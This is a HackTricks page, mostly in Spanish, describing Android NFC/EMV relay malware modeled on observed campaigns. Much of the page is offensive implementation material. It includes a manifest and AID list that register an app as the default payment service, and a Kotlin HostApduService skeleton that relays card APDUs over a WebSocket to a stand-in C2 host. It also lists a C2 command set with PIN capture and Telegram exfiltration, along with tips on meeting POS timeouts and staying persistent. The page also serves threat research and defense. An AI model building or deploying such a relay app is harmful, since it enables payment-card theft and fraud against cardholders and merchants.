Android HCE NFC/EMV Relay Attacks
Reading time: 6 minutes
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Overview
El abuso de Android Host Card Emulation (HCE) permite que una app maliciosa establecida como el servicio de pago NFC predeterminado retransmita transacciones contactless EMV en tiempo real. El terminal POS habla ISO 14443-4/EMV con el teléfono; el HostApduService de la app recibe APDUs y los reenvía sobre un C2 bidireccional (a menudo WebSocket) a un backend que genera respuestas, las cuales se reléan al POS. Esto posibilita la emulación de tarjeta en vivo sin datos de tarjeta locales. Campañas observadas a gran escala se hacen pasar por apps bancarias/gubernamentales, solicitan convertirse en la app de pago predeterminada y exfiltran automáticamente datos del dispositivo/tarjeta a bots/canales de Telegram.
Key traits
- Android components: HostApduService + default NFC payment handler (category "payment")
- Transport/C2: WebSocket for APDU relay; Telegram bot API for exfil/ops
- Operator workflow: structured commands (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
- Roles: scanner (read EMV data) vs tapper (HCE/relay) builds
Minimal implementation building blocks
Manifest (become default payment HCE service)
<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>
<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>
Ejemplo de lista de AID con categoría de pago EMV (solo las apps configuradas como pago predeterminado pueden responder a estos AIDs):
<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/> <!-- AmEx -->
</aid-group>
</host-apdu-service>
Solicitar al usuario que establezca la aplicación de pago predeterminada (abre la configuración del sistema operativo):
val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)
Esqueleto de HostApduService relay
class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null
override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}
override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}
override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}
private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}
Nota de utilidad: El servicio en segundo plano debe responder dentro del presupuesto de timeout del POS (~unos pocos cientos de ms) por APDU; mantén un socket de baja latencia y pre-auth con el C2. Persiste tras la muerte del proceso usando un foreground service según sea necesario.
Conjunto típico de comandos C2 (observado)
login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error
Intercambio EMV sin contacto (introducción)
El POS dirige el flujo; la app HCE simplemente reenvía APDUs:
- SELECT PPSE (2PAY.SYS.DDF01)
- 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
- SELECT AID de la aplicación (p. ej., VISA A0000000031010)
- 00 A4 04 00 len
00 - GET PROCESSING OPTIONS (GPO)
- 80 A8 00 00 Lc
00 - READ RECORD(S) según AFL
- 00 B2 <SFI/record> 0C 00
- GENERATE AC (ARQC/TC)
- 80 AE 80 00 Lc
00
En un relay, el backend crea FCI/FCP válidos, AFL, registros y un criptograma; el teléfono solo reenvía bytes.
Flujos de trabajo de operadores observados en el mundo real
- Engaño + instalación: la app se hace pasar por un portal bancario/gubernamental, muestra un WebView a pantalla completa y solicita inmediatamente ser la app de pago NFC predeterminada.
- Activación por evento: un tap NFC despierta HostApduService; comienza el relay.
- Roles Scanner/Tapper: una build lee datos EMV de una tarjeta víctima (PAN, exp, tracks, campos device/EMV) y los exfiltra; otra build (o el mismo dispositivo después) realiza el HCE relay a un POS.
- Exfiltración: los datos del dispositivo/tarjeta se publican automáticamente en canales/bots privados de Telegram; un WebSocket coordina sesiones y avisos de UI (p. ej., UI de PIN en el dispositivo).
Referencias
- Zimperium – Tap-and-Steal: The Rise of NFC Relay Malware on Mobile Devices
- Android HostApduService
- Android HCE and Card Emulation docs
- Zimperium IOCs – 2025-10-NFCStealer
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks